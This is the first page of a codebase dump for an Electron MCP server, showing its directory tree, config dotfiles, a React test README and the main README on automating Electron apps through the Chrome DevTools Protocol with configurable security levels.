This is page 1 of 2. Use http://codebase.md/halilural/electron-mcp-server?lines=true&page={x} to view the full context. # Directory Structure ``` ├── .env.example ├── .gitignore ├── .npmignore ├── .prettierignore ├── .prettierrc ├── assets │ └── demo.mp4 ├── eslint.config.ts ├── ISSUE_TEMPLATE.md ├── LICENSE ├── MCP_USAGE_GUIDE.md ├── mcp-config.json ├── package-lock.json ├── package.json ├── REACT_COMPATIBILITY_ISSUES.md ├── README.md ├── SECURITY_CONFIG.md ├── SECURITY.md ├── src │ ├── handlers.ts │ ├── index.ts │ ├── schemas.ts │ ├── screenshot.ts │ ├── security │ │ ├── audit.ts │ │ ├── config.ts │ │ ├── manager.ts │ │ ├── sandbox.ts │ │ └── validation.ts │ ├── tools.ts │ └── utils │ ├── electron-commands.ts │ ├── electron-connection.ts │ ├── electron-discovery.ts │ ├── electron-enhanced-commands.ts │ ├── electron-input-commands.ts │ ├── electron-logs.ts │ ├── electron-process.ts │ ├── logger.ts │ ├── logs.ts │ └── project.ts ├── tests │ ├── conftest.ts │ ├── integration │ │ ├── electron-security-integration.test.ts │ │ └── react-compatibility │ │ ├── react-test-app.html │ │ ├── README.md │ │ └── test-react-electron.cjs │ ├── support │ │ ├── config.ts │ │ ├── helpers.ts │ │ └── setup.ts │ └── unit │ └── security-manager.test.ts ├── tsconfig.json ├── vitest.config.ts └── webpack.config.ts ``` # Files -------------------------------------------------------------------------------- /.prettierrc: -------------------------------------------------------------------------------- ``` 1 | { 2 | "semi": true, 3 | "singleQuote": true, 4 | "printWidth": 100, 5 | "tabWidth": 2, 6 | "trailingComma": "all" 7 | } 8 | ``` -------------------------------------------------------------------------------- /.prettierignore: -------------------------------------------------------------------------------- ``` 1 | # Dependencies 2 | node_modules/ 3 | 4 | # Build outputs 5 | dist/ 6 | build/ 7 | 8 | # Coverage reports 9 | coverage/ 10 | 11 | # Logs 12 | *.log 13 | logs/ 14 | 15 | # OS files 16 | .DS_Store 17 | Thumbs.db 18 | 19 | # IDE files 20 | .vscode/ 21 | .idea/ 22 | 23 | # Package manager files 24 | package-lock.json 25 | yarn.lock 26 | pnpm-lock.yaml 27 | ``` -------------------------------------------------------------------------------- /.npmignore: -------------------------------------------------------------------------------- ``` 1 | # Source files (only publish dist) 2 | src/ 3 | tsconfig.json 4 | vitest.config.ts 5 | 6 | # Development files 7 | .vscode/ 8 | test/ 9 | example-app 10 | example-app-2 11 | tools/ 12 | 13 | # Test and debug files 14 | test-*.js 15 | *-test.js 16 | *-debug.js 17 | 18 | # CI/CD 19 | .github/ 20 | 21 | # IDE 22 | .idea/ 23 | *.swp 24 | *.swo 25 | 26 | # OS 27 | .DS_Store 28 | Thumbs.db 29 | 30 | # Logs 31 | *.log 32 | npm-debug.log* 33 | 34 | # Dependencies 35 | node_modules/ 36 | 37 | # Coverage 38 | coverage/ 39 | ``` -------------------------------------------------------------------------------- /.env.example: -------------------------------------------------------------------------------- ``` 1 | # Electron MCP Server Environment Configuration 2 | # Copy this file to .env and configure the values for your environment 3 | 4 | # ============================================================================= 5 | # LOGGING CONFIGURATION 6 | # ============================================================================= 7 | 8 | # Set the log level for the MCP server (used in src/utils/logger.ts) 9 | # Options: DEBUG, INFO, WARN, ERROR 10 | # Default: INFO if not set 11 | MCP_LOG_LEVEL=INFO 12 | 13 | # ============================================================================= 14 | # SECURITY CONFIGURATION (REQUIRED) 15 | # ============================================================================= 16 | 17 | # Security level for the MCP server (used in src/security/config.ts) 18 | # Options: strict, balanced, permissive, development 19 | # Default: balanced if not set 20 | # - strict: Maximum security - blocks most function calls 21 | # - balanced: Default - allows safe UI interactions 22 | # - permissive: Minimal restrictions - allows more operations 23 | # - development: Least restrictive - for development/testing only 24 | SECURITY_LEVEL=balanced 25 | 26 | # Encryption key for screenshot data (OPTIONAL - fallback available) 27 | # If not set, a temporary key will be generated for each session 28 | # For production use, set this to a secure 32-byte hex string 29 | # Must be at least 32 characters long for security 30 | # Generate a secure key with: openssl rand -hex 32 31 | # WARNING: Without a persistent key, encrypted screenshots cannot be decrypted after restart 32 | SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string-here 33 | ``` -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- ``` 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | lerna-debug.log* 8 | .pnpm-debug.log* 9 | 10 | # Diagnostic reports (https://nodejs.org/api/report.html) 11 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json 12 | 13 | # Runtime data 14 | pids 15 | *.pid 16 | *.seed 17 | *.pid.lock 18 | 19 | # Directory for instrumented libs generated by jscoverage/JSCover 20 | lib-cov 21 | 22 | # Coverage directory used by tools like istanbul 23 | coverage 24 | *.lcov 25 | 26 | # nyc test coverage 27 | .nyc_output 28 | 29 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) 30 | .grunt 31 | 32 | # Bower dependency directory (https://bower.io/) 33 | bower_components 34 | 35 | # node-waf configuration 36 | .lock-wscript 37 | 38 | # Compiled binary addons (https://nodejs.org/api/addons.html) 39 | build/Release 40 | 41 | # Dependency directories 42 | node_modules/ 43 | jspm_packages/ 44 | 45 | # Snowpack dependency directory (https://snowpack.dev/) 46 | web_modules/ 47 | 48 | # TypeScript cache 49 | *.tsbuildinfo 50 | 51 | # Optional npm cache directory 52 | .npm 53 | 54 | # Optional eslint cache 55 | .eslintcache 56 | 57 | # Optional stylelint cache 58 | .stylelintcache 59 | 60 | # Microbundle cache 61 | .rpt2_cache/ 62 | .rts2_cache_cjs/ 63 | .rts2_cache_es/ 64 | .rts2_cache_umd/ 65 | 66 | # Optional REPL history 67 | .node_repl_history 68 | 69 | # Output of 'npm pack' 70 | *.tgz 71 | 72 | # Yarn Integrity file 73 | .yarn-integrity 74 | 75 | # dotenv environment variable files 76 | .env 77 | .env.development.local 78 | .env.test.local 79 | .env.production.local 80 | .env.local 81 | 82 | # parcel-bundler cache (https://parceljs.org/) 83 | .cache 84 | .parcel-cache 85 | 86 | # Next.js build output 87 | .next 88 | out 89 | 90 | # Nuxt.js build / generate output 91 | .nuxt 92 | dist 93 | 94 | # Gatsby files 95 | .cache/ 96 | # Comment in the public line in if your project uses Gatsby and not Next.js 97 | # https://nextjs.org/blog/next-9-1#public-directory-support 98 | # public 99 | 100 | # vuepress build output 101 | .vuepress/dist 102 | 103 | # vuepress v2.x temp and cache directory 104 | .temp 105 | .cache 106 | 107 | # Docusaurus cache and generated files 108 | .docusaurus 109 | 110 | # Serverless directories 111 | .serverless/ 112 | 113 | # FuseBox cache 114 | .fusebox/ 115 | 116 | # DynamoDB Local files 117 | .dynamodb/ 118 | 119 | # TernJS port file 120 | .tern-port 121 | 122 | # Stores VSCode versions used for testing VSCode extensions 123 | .vscode-test 124 | 125 | # yarn v2 126 | .yarn/cache 127 | .yarn/unplugged 128 | .yarn/build-state.yml 129 | .yarn/install-state.gz 130 | .pnp.* 131 | 132 | # Build output 133 | dist/ 134 | build/ 135 | lib/ 136 | 137 | # TypeScript output 138 | *.d.ts 139 | 140 | # Electron specific 141 | out/ 142 | dist_electron/ 143 | 144 | # Testing 145 | test-results/ 146 | coverage/ 147 | .nyc_output/ 148 | test-temp/ 149 | temp/ 150 | 151 | # Example App 152 | example-app 153 | example-app-2 154 | 155 | # IDE 156 | .vscode/ 157 | .idea/ 158 | *.swp 159 | *.swo 160 | 161 | # OS 162 | .DS_Store 163 | Thumbs.db 164 | ``` -------------------------------------------------------------------------------- /tests/integration/react-compatibility/README.md: -------------------------------------------------------------------------------- ```markdown 1 | # React Compatibility Tests 2 | 3 | This directory contains test files for validating React compatibility with the Electron MCP Server. 4 | 5 | ## Files 6 | 7 | ### `react-test-app.html` 8 | A comprehensive React test application that demonstrates: 9 | - Click command compatibility with `preventDefault()` behavior 10 | - Form input detection and filling capabilities 11 | - Various React event handling patterns 12 | - Multiple input types (text, email, password, number, textarea) 13 | 14 | ### `test-react-electron.cjs` 15 | Electron wrapper application that: 16 | - Loads the React test app in an Electron window 17 | - Enables remote debugging on port 9222 for MCP server connection 18 | - Provides a controlled test environment 19 | 20 | ## Usage 21 | 22 | ### Running the Test App 23 | ```bash 24 | # From the project root 25 | cd tests/integration/react-compatibility 26 | electron test-react-electron.cjs 27 | ``` 28 | 29 | ### Testing with MCP Server 30 | Once the Electron app is running, you can test MCP commands: 31 | 32 | ```bash 33 | # Test click commands 34 | echo '{"jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "click_by_text", "args": {"text": "React Button"}}}}' | node ../../../dist/index.js 35 | 36 | # Test form input filling 37 | echo '{"jsonrpc": "2.0", "id": 2, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "fill_input", "args": {"text": "username", "value": "testuser"}}}}' | node ../../../dist/index.js 38 | 39 | # Get page structure 40 | echo '{"jsonrpc": "2.0", "id": 3, "method": "tools/call", "params": {"name": "send_command_to_electron", "arguments": {"command": "get_page_structure", "args": {}}}}' | node ../../../dist/index.js 41 | ``` 42 | 43 | ## Test Scenarios 44 | 45 | ### Issue 1: Click Commands with preventDefault 46 | - **React Button (preventDefault)**: Tests click commands on React components that call `e.preventDefault()` 47 | - **Normal Button**: Tests click commands without preventDefault 48 | - **Stop Propagation Button**: Tests click commands with `e.stopPropagation()` 49 | 50 | ### Issue 3: Form Input Detection 51 | - **Username Field**: Text input with label and placeholder 52 | - **Email Field**: Email input type validation 53 | - **Password Field**: Password input type 54 | - **Age Field**: Number input type 55 | - **Comments Field**: Textarea element 56 | 57 | All form inputs test the scoring algorithm in `electron-input-commands.ts` for React-rendered elements. 58 | 59 | ## Expected Results 60 | 61 | ✅ All click commands should work (preventDefault fix applied) 62 | ✅ All form inputs should be detected and fillable 63 | ✅ Page structure should show all React-rendered elements 64 | ✅ No "Click events were cancelled by the page" errors 65 | ✅ No "No suitable input found" errors 66 | ``` -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- ```markdown 1 | # Electron MCP Server 2 | 3 | [](https://github.com/halilural/electron-mcp-server/blob/master/LICENSE) 4 | [](https://www.npmjs.com/package/electron-mcp-server) 5 | [](https://modelcontextprotocol.io) 6 | 7 | A powerful Model Context Protocol (MCP) server that provides comprehensive Electron application automation, debugging, and observability capabilities. Supercharge your Electron development workflow with AI-powered automation through Chrome DevTools Protocol integration. 8 | 9 | ## Demo 10 | 11 | See the Electron MCP Server in action: 12 | 13 | [](https://vimeo.com/1104937830) 14 | 15 | **[🎬 Watch Full Demo on Vimeo](https://vimeo.com/1104937830)** 16 | 17 | *Watch how easy it is to automate Electron applications with AI-powered MCP commands.* 18 | 19 | ## 🎯 What Makes This Special 20 | 21 | Transform your Electron development experience with **AI-powered automation**: 22 | 23 | - **🔄 Real-time UI Automation**: Click buttons, fill forms, and interact with any Electron app programmatically 24 | - **📸 Visual Debugging**: Take screenshots and capture application state without interrupting development 25 | - **🔍 Deep Inspection**: Extract DOM elements, application data, and performance metrics in real-time 26 | - **⚡ DevTools Protocol Integration**: Universal compatibility with any Electron app - no modifications required 27 | - **🚀 Development Observability**: Monitor logs, system info, and application behavior seamlessly 28 | 29 | ## 🔒 Security & Configuration 30 | 31 | **Configurable security levels** to balance safety with functionality: 32 | 33 | ### Security Levels 34 | 35 | - **🔒 STRICT**: Maximum security for production environments 36 | - **⚖️ BALANCED**: Default security with safe UI interactions (recommended) 37 | - **🔓 PERMISSIVE**: More functionality for trusted environments 38 | - **🛠️ DEVELOPMENT**: Minimal restrictions for development/testing 39 | 40 | ### Environment Configuration 41 | 42 | Configure the security level and other settings through your MCP client configuration: 43 | 44 | **VS Code MCP Settings:** 45 | ```json 46 | { 47 | "mcp": { 48 | "servers": { 49 | "electron": { 50 | "command": "npx", 51 | "args": ["-y", "electron-mcp-server"], 52 | "env": { 53 | "SECURITY_LEVEL": "balanced", 54 | "SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string" 55 | } 56 | } 57 | } 58 | } 59 | } 60 | ``` 61 | 62 | **Claude Desktop Configuration:** 63 | ```json 64 | { 65 | "mcpServers": { 66 | "electron": { 67 | "command": "npx", 68 | "args": ["-y", "electron-mcp-server"], 69 | "env": { 70 | "SECURITY_LEVEL": "balanced", 71 | "SCREENSHOT_ENCRYPTION_KEY":"your-32-byte-hex-string" 72 | } 73 | } 74 | } 75 | } 76 | ``` 77 | 78 | **Alternative: Local .env file (for development):** 79 | ```bash 80 | # Create .env file in your project directory 81 | SECURITY_LEVEL=balanced 82 | SCREENSHOT_ENCRYPTION_KEY=your-32-byte-hex-string 83 | ``` 84 | 85 | **Security Level Behaviors:** 86 | 87 | | Level | UI Interactions | DOM Queries | Property Access | Assignments | Function Calls | Risk Threshold | 88 | |-------|-----------------|-------------|-----------------|-------------|----------------|----------------| 89 | | `strict` | ❌ Blocked | ❌ Blocked | ✅ Allowed | ❌ Blocked | ❌ None allowed | Low | 90 | | `balanced` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ❌ Blocked | ✅ Safe UI functions | Medium | 91 | | `permissive` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Extended UI functions | High | 92 | | `development` | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ Allowed | ✅ All functions | Critical | 93 | 94 | **Environment Setup:** 95 | 96 | 1. Copy `.env.example` to `.env` 97 | 2. Set `SECURITY_LEVEL` to your desired level 98 | 3. Configure other security settings as needed 99 | 100 | ```bash 101 | cp .env.example .env 102 | # Edit .env and set SECURITY_LEVEL=balanced 103 | ``` 104 | 105 | ### Secure UI Interaction Commands 106 | 107 | Instead of raw JavaScript eval, use these secure commands: 108 | 109 | ```javascript 110 | // ✅ Secure button clicking 111 | { 112 | "command": "click_by_text", 113 | "args": { "text": "Create New Encyclopedia" } 114 | } 115 | 116 | // ✅ Secure element selection 117 | { 118 | "command": "click_by_selector", 119 | "args": { "selector": "button[title='Create']" } 120 | } 121 | 122 | // ✅ Secure keyboard shortcuts 123 | { 124 | "command": "send_keyboard_shortcut", 125 | "args": { "text": "Ctrl+N" } 126 | } 127 | 128 | // ✅ Secure navigation 129 | { 130 | "command": "navigate_to_hash", 131 | "args": { "text": "create" } 132 | } 133 | ``` 134 | 135 | See [SECURITY_CONFIG.md](./SECURITY_CONFIG.md) for detailed security documentation. 136 | 137 | ## 🎯 Proper MCP Usage Guide 138 | 139 | ### ⚠️ Critical: Argument Structure 140 | 141 | **The most common mistake** when using this MCP server is incorrect argument structure for the `send_command_to_electron` tool. 142 | 143 | #### ❌ Wrong (causes "selector is empty" errors): 144 | 145 | ```javascript 146 | { 147 | "command": "click_by_selector", 148 | "args": "button.submit-btn" // ❌ Raw string - WRONG! 149 | } 150 | ``` 151 | 152 | #### ✅ Correct: 153 | 154 | ```javascript 155 | { 156 | "command": "click_by_selector", 157 | "args": { 158 | "selector": "button.submit-btn" // ✅ Object with selector property 159 | } 160 | } 161 | ``` 162 | 163 | ### 📋 Command Argument Reference 164 | 165 | | Command | Required Args | Example | 166 | | --------------------------------------- | ----------------------------------------------------------------------------------- | ------------------------------------------------ | 167 | | `click_by_selector` | `{"selector": "css-selector"}` | `{"selector": "button.primary"}` | 168 | | `click_by_text` | `{"text": "button text"}` | `{"text": "Submit"}` | 169 | | `fill_input` | `{"value": "text", "selector": "..."}` or `{"value": "text", "placeholder": "..."}` | `{"placeholder": "Enter name", "value": "John"}` | 170 | | `send_keyboard_shortcut` | `{"text": "key combination"}` | `{"text": "Ctrl+N"}` | 171 | | `eval` | `{"code": "javascript"}` | `{"code": "document.title"}` | 172 | | `get_title`, `get_url`, `get_body_text` | No args needed | `{}` or omit args | 173 | 174 | ### 🔄 Recommended Workflow 175 | 176 | 1. **Inspect**: Start with `get_page_structure` or `debug_elements` 177 | 2. **Target**: Use specific selectors or text-based targeting 178 | 3. **Interact**: Use the appropriate command with correct argument structure 179 | 4. **Verify**: Take screenshots or check page state 180 | 181 | ```javascript 182 | // Step 1: Understand the page 183 | { 184 | "command": "get_page_structure" 185 | } 186 | 187 | // Step 2: Click button using text (most reliable) 188 | { 189 | "command": "click_by_text", 190 | "args": { 191 | "text": "Create New Encyclopedia" 192 | } 193 | } 194 | 195 | // Step 3: Fill form field 196 | { 197 | "command": "fill_input", 198 | "args": { 199 | "placeholder": "Enter encyclopedia name", 200 | "value": "AI and Machine Learning" 201 | } 202 | } 203 | 204 | // Step 4: Submit with selector 205 | { 206 | "command": "click_by_selector", 207 | "args": { 208 | "selector": "button[type='submit']" 209 | } 210 | } 211 | ``` 212 | 213 | ### 🐛 Troubleshooting Common Issues 214 | 215 | | Error | Cause | Solution | 216 | | -------------------------------- | -------------------------------- | ------------------------------ | 217 | | "The provided selector is empty" | Passing string instead of object | Use `{"selector": "..."}` | 218 | | "Element not found" | Wrong selector | Use `get_page_structure` first | 219 | | "Command blocked" | Security restriction | Check security level settings | 220 | | "Click prevented - too soon" | Rapid consecutive clicks | Wait before retrying | 221 | 222 | ## 🛠️ Security Features 223 | 224 | **Enterprise-grade security** built for safe AI-powered automation: 225 | 226 | - **🔒 Sandboxed Execution**: All code runs in isolated environments with strict resource limits 227 | - **🔍 Input Validation**: Advanced static analysis detects and blocks dangerous code patterns 228 | - **📝 Comprehensive Auditing**: Encrypted logs track all operations with full traceability 229 | - **🖼️ Secure Screenshots**: Encrypted screenshot data with clear user notifications 230 | - **⚠️ Risk Assessment**: Automatic threat detection with configurable security thresholds 231 | - **🚫 Zero Trust**: Dangerous functions like `eval`, file system access, and network requests are blocked by default 232 | 233 | > **Safety First**: Every command is analyzed, validated, and executed in a secure sandbox before reaching your application. 234 | 235 | ## �🚀 Key Features 236 | 237 | ### 🎮 Application Control & Automation 238 | 239 | - **Launch & Manage**: Start, stop, and monitor Electron applications with full lifecycle control 240 | - **Interactive Automation**: Execute JavaScript code directly in running applications via WebSocket 241 | - **UI Testing**: Automate button clicks, form interactions, and user workflows 242 | - **Process Management**: Track PIDs, monitor resource usage, and handle graceful shutdowns 243 | 244 | ### 📊 Advanced Observability 245 | 246 | - **Screenshot Capture**: Non-intrusive visual snapshots using Playwright and Chrome DevTools Protocol 247 | - **Real-time Logs**: Stream application logs (main process, renderer, console) with filtering 248 | - **Window Information**: Get detailed window metadata, titles, URLs, and target information 249 | - **System Monitoring**: Track memory usage, uptime, and performance metrics 250 | 251 | ### 🛠️ Development Productivity 252 | 253 | - **Universal Compatibility**: Works with any Electron app without requiring code modifications 254 | - **DevTools Integration**: Leverage Chrome DevTools Protocol for powerful debugging capabilities 255 | - **Build Automation**: Cross-platform building for Windows, macOS, and Linux 256 | - **Environment Management**: Clean environment handling and debugging port configuration 257 | 258 | ## 📦 Installation 259 | 260 | ### VS Code Integration (Recommended) 261 | 262 | [](https://insiders.vscode.dev/redirect/mcp/install?name=electron&config=%7B%22command%22%3A%22npx%22%2C%22args%22%3A%5B%22-y%22%2C%22electron-mcp-server%22%5D%7D) 263 | 264 | Add to your VS Code MCP settings: 265 | 266 | ```json 267 | { 268 | "mcp": { 269 | "servers": { 270 | "electron": { 271 | "command": "npx", 272 | "args": ["-y", "electron-mcp-server"], 273 | "env": { 274 | "SECURITY_LEVEL": "balanced", 275 | "SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here" 276 | } 277 | } 278 | } 279 | } 280 | } 281 | ``` 282 | 283 | ### Claude Desktop Integration 284 | 285 | Add to `~/Library/Application Support/Claude/claude_desktop_config.json`: 286 | 287 | ```json 288 | { 289 | "mcpServers": { 290 | "electron": { 291 | "command": "npx", 292 | "args": ["-y", "electron-mcp-server"], 293 | "env": { 294 | "SECURITY_LEVEL": "balanced", 295 | "SCREENSHOT_ENCRYPTION_KEY": "your-32-byte-hex-string-here" 296 | } 297 | } 298 | } 299 | } 300 | ``` 301 | 302 | ### Global Installation 303 | 304 | ```bash 305 | npm install -g electron-mcp-server 306 | ``` 307 | 308 | ## 🔧 Available Tools 309 | 310 | ### `launch_electron_app` 311 | 312 | Launch an Electron application with debugging capabilities. 313 | 314 | ```javascript 315 | { 316 | "appPath": "/path/to/electron-app", 317 | "devMode": true, // Enables Chrome DevTools Protocol on port 9222 318 | "args": ["--enable-logging", "--dev"] 319 | } 320 | ``` 321 | 322 | **Returns**: Process ID and launch confirmation 323 | 324 | ### `get_electron_window_info` 325 | 326 | Get comprehensive window and target information via Chrome DevTools Protocol. 327 | 328 | ```javascript 329 | { 330 | "includeChildren": true // Include child windows and DevTools instances 331 | } 332 | ``` 333 | 334 | **Returns**: 335 | 336 | - Window IDs, titles, URLs, and types 337 | - DevTools Protocol target information 338 | - Platform details and process information 339 | 340 | ### `take_screenshot` 341 | 342 | Capture high-quality screenshots using Playwright and Chrome DevTools Protocol. 343 | 344 | ```javascript 345 | { 346 | "outputPath": "/path/to/screenshot.png", // Optional: defaults to temp directory 347 | "windowTitle": "My App" // Optional: target specific window 348 | } 349 | ``` 350 | 351 | **Features**: 352 | 353 | - Non-intrusive capture (doesn't bring window to front) 354 | - Works with any Electron app 355 | - Fallback to platform-specific tools if needed 356 | 357 | ### `send_command_to_electron` 358 | 359 | Execute JavaScript commands in the running Electron application via WebSocket. 360 | 361 | ```javascript 362 | { 363 | "command": "eval", // Built-in commands: eval, get_title, get_url, click_button, console_log 364 | "args": { 365 | "code": "document.querySelector('button').click(); 'Button clicked!'" 366 | } 367 | } 368 | ``` 369 | 370 | **Enhanced UI Interaction Commands**: 371 | 372 | - `find_elements`: Analyze all interactive UI elements with their properties and positions 373 | - `click_by_text`: Click elements by their visible text, aria-label, or title (more reliable than selectors) 374 | - `fill_input`: Fill input fields by selector, placeholder text, or associated label text 375 | - `select_option`: Select dropdown options by value or visible text 376 | - `get_page_structure`: Get organized overview of all page elements (buttons, inputs, selects, links) 377 | - `get_title`: Get document title 378 | - `get_url`: Get current URL 379 | - `get_body_text`: Extract visible text content 380 | - `click_button`: Click buttons by CSS selector (basic method) 381 | - `console_log`: Send console messages 382 | - `eval`: Execute custom JavaScript code 383 | 384 | **Recommended workflow**: Use `get_page_structure` first to understand available elements, then use specific interaction commands like `click_by_text` or `fill_input`. 385 | 386 | ### `read_electron_logs` 387 | 388 | Stream application logs from main process, renderer, and console. 389 | 390 | ```javascript 391 | { 392 | "logType": "all", // Options: "all", "main", "renderer", "console" 393 | "lines": 50, // Number of recent lines 394 | "follow": false // Stream live logs 395 | } 396 | ``` 397 | 398 | ### `close_electron_app` 399 | 400 | Gracefully close the Electron application. 401 | 402 | ```javascript 403 | { 404 | "force": false // Force kill if unresponsive 405 | } 406 | ``` 407 | 408 | ### `build_electron_app` 409 | 410 | Build Electron applications for distribution. 411 | 412 | ```javascript 413 | { 414 | "projectPath": "/path/to/project", 415 | "platform": "darwin", // win32, darwin, linux 416 | "arch": "x64", // x64, arm64, ia32 417 | "debug": false 418 | } 419 | ``` 420 | 421 | ## 💡 Usage Examples 422 | 423 | ### Smart UI Interaction Workflow 424 | 425 | ```javascript 426 | // 1. First, understand the page structure 427 | await send_command_to_electron({ 428 | command: 'get_page_structure', 429 | }); 430 | 431 | // 2. Click a button by its text (much more reliable than selectors) 432 | await send_command_to_electron({ 433 | command: 'click_by_text', 434 | args: { 435 | text: 'Login', // Finds buttons containing "Login" in text, aria-label, or title 436 | }, 437 | }); 438 | 439 | // 3. Fill inputs by their label or placeholder text 440 | await send_command_to_electron({ 441 | command: 'fill_input', 442 | args: { 443 | text: 'username', // Finds input with label "Username" or placeholder "Enter username" 444 | value: '[email protected]', 445 | }, 446 | }); 447 | 448 | await send_command_to_electron({ 449 | command: 'fill_input', 450 | args: { 451 | text: 'password', 452 | value: 'secretpassword', 453 | }, 454 | }); 455 | 456 | // 4. Select dropdown options by visible text 457 | await send_command_to_electron({ 458 | command: 'select_option', 459 | args: { 460 | text: 'country', // Finds select with label containing "country" 461 | value: 'United States', // Selects option with this text 462 | }, 463 | }); 464 | 465 | // 5. Take a screenshot to verify the result 466 | await take_screenshot(); 467 | ``` 468 | 469 | ### Advanced Element Detection 470 | 471 | ```javascript 472 | // Find all interactive elements with detailed information 473 | await send_command_to_electron({ 474 | command: 'find_elements', 475 | }); 476 | 477 | // This returns detailed info about every clickable element and input: 478 | // { 479 | // "type": "clickable", 480 | // "text": "Submit Form", 481 | // "id": "submit-btn", 482 | // "className": "btn btn-primary", 483 | // "ariaLabel": "Submit the registration form", 484 | // "position": { "x": 100, "y": 200, "width": 120, "height": 40 }, 485 | // "visible": true 486 | // } 487 | ``` 488 | 489 | ### Automated UI Testing 490 | 491 | ```javascript 492 | // Launch app in development mode 493 | await launch_electron_app({ 494 | appPath: '/path/to/app', 495 | devMode: true, 496 | }); 497 | 498 | // Take a screenshot 499 | await take_screenshot(); 500 | 501 | // Click a button programmatically 502 | await send_command_to_electron({ 503 | command: 'eval', 504 | args: { 505 | code: "document.querySelector('#submit-btn').click()", 506 | }, 507 | }); 508 | 509 | // Verify the result 510 | await send_command_to_electron({ 511 | command: 'get_title', 512 | }); 513 | ``` 514 | 515 | ### Development Debugging 516 | 517 | ```javascript 518 | // Get window information 519 | const windowInfo = await get_electron_window_info(); 520 | 521 | // Extract application data 522 | await send_command_to_electron({ 523 | command: 'eval', 524 | args: { 525 | code: 'JSON.stringify(window.appState, null, 2)', 526 | }, 527 | }); 528 | 529 | // Monitor logs 530 | await read_electron_logs({ 531 | logType: 'all', 532 | lines: 100, 533 | }); 534 | ``` 535 | 536 | ### Performance Monitoring 537 | 538 | ```javascript 539 | // Get system information 540 | await send_command_to_electron({ 541 | command: 'eval', 542 | args: { 543 | code: '({memory: performance.memory, timing: performance.timing})', 544 | }, 545 | }); 546 | 547 | // Take periodic screenshots for visual regression testing 548 | await take_screenshot({ 549 | outputPath: '/tests/screenshots/current.png', 550 | }); 551 | ``` 552 | 553 | ## 🏗️ Architecture 554 | 555 | ### Chrome DevTools Protocol Integration 556 | 557 | - **Universal Compatibility**: Works with any Electron app that has remote debugging enabled 558 | - **Real-time Communication**: WebSocket-based command execution with the renderer process 559 | - **No App Modifications**: Zero changes required to target applications 560 | 561 | ### Process Management 562 | 563 | - **Clean Environment**: Handles `ELECTRON_RUN_AS_NODE` and other environment variables 564 | - **Resource Tracking**: Monitors PIDs, memory usage, and application lifecycle 565 | - **Graceful Shutdown**: Proper cleanup and process termination 566 | 567 | ### Cross-Platform Support 568 | 569 | - **macOS**: Uses Playwright CDP with screencapture fallback 570 | - **Windows**: PowerShell-based window detection and capture 571 | - **Linux**: X11 window management (planned) 572 | 573 | ## 🧪 Development 574 | 575 | ### Prerequisites 576 | 577 | - Node.js 18+ 578 | - TypeScript 4.5+ 579 | - **Electron** - Required for running and testing Electron applications 580 | 581 | ```bash 582 | # Install Electron globally (recommended) 583 | npm install -g electron 584 | 585 | # Or install locally in your project 586 | npm install electron --save-dev 587 | ``` 588 | 589 | ### Target Application Setup 590 | 591 | For the MCP server to work with your Electron application, you need to enable remote debugging. Add this code to your Electron app's main process: 592 | 593 | ```javascript 594 | const { app } = require('electron'); 595 | const isDev = process.env.NODE_ENV === 'development' || process.argv.includes('--dev'); 596 | 597 | // Enable remote debugging in development mode 598 | if (isDev) { 599 | app.commandLine.appendSwitch('remote-debugging-port', '9222'); 600 | } 601 | ``` 602 | 603 | **Alternative approaches:** 604 | 605 | ```bash 606 | # Launch your app with debugging enabled 607 | electron . --remote-debugging-port=9222 608 | 609 | # Or via npm script 610 | npm run dev -- --remote-debugging-port=9222 611 | ``` 612 | 613 | **Note:** The MCP server automatically scans ports 9222-9225 to detect running Electron applications with remote debugging enabled. 614 | 615 | ### Setup 616 | 617 | ```bash 618 | git clone https://github.com/halilural/electron-mcp-server.git 619 | cd electron-mcp-server 620 | 621 | npm install 622 | npm run build 623 | 624 | # Run tests 625 | npm test 626 | 627 | # Development mode with auto-rebuild 628 | npm run dev 629 | ``` 630 | 631 | ### Testing 632 | 633 | The project includes comprehensive test files for React compatibility: 634 | 635 | ```bash 636 | # Run React compatibility tests 637 | cd tests/integration/react-compatibility 638 | electron test-react-electron.js 639 | ``` 640 | 641 | See [`tests/integration/react-compatibility/README.md`](tests/integration/react-compatibility/README.md) for detailed testing instructions and scenarios. 642 | 643 | ### React Compatibility 644 | 645 | This MCP server has been thoroughly tested with React applications and handles common React patterns correctly: 646 | 647 | - **✅ React Event Handling**: Properly handles `preventDefault()` in click handlers 648 | - **✅ Form Input Detection**: Advanced scoring algorithm works with React-rendered inputs 649 | - **✅ Component Interaction**: Compatible with React components, hooks, and state management 650 | 651 | ### Project Structure 652 | 653 | ``` 654 | src/ 655 | ├── handlers.ts # MCP tool handlers 656 | ├── index.ts # Server entry point 657 | ├── tools.ts # Tool definitions 658 | ├── screenshot.ts # Screenshot functionality 659 | ├── utils/ 660 | │ ├── process.ts # Process management & DevTools Protocol 661 | │ ├── logs.ts # Log management 662 | │ └── project.ts # Project scaffolding 663 | └── schemas/ # JSON schemas for validation 664 | ``` 665 | 666 | ## 🔐 Security & Best Practices 667 | 668 | - **Sandboxed Execution**: All JavaScript execution is contained within the target Electron app 669 | - **Path Validation**: Only operates on explicitly provided application paths 670 | - **Process Isolation**: Each launched app runs in its own process space 671 | - **No Persistent Access**: No permanent modifications to target applications 672 | 673 | ## 🤝 Contributing 674 | 675 | We welcome contributions! Please see our [Contributing Guide](CONTRIBUTING.md) for details. 676 | 677 | **Before reporting issues**: Please use the standardized [`ISSUE_TEMPLATE.md`](ISSUE_TEMPLATE.md) for proper bug reporting format. For React compatibility problems or similar technical issues, also review [`REACT_COMPATIBILITY_ISSUES.md`](REACT_COMPATIBILITY_ISSUES.md) for detailed debugging examples, including proper command examples, error outputs, and reproduction steps. 678 | 679 | 1. Fork the 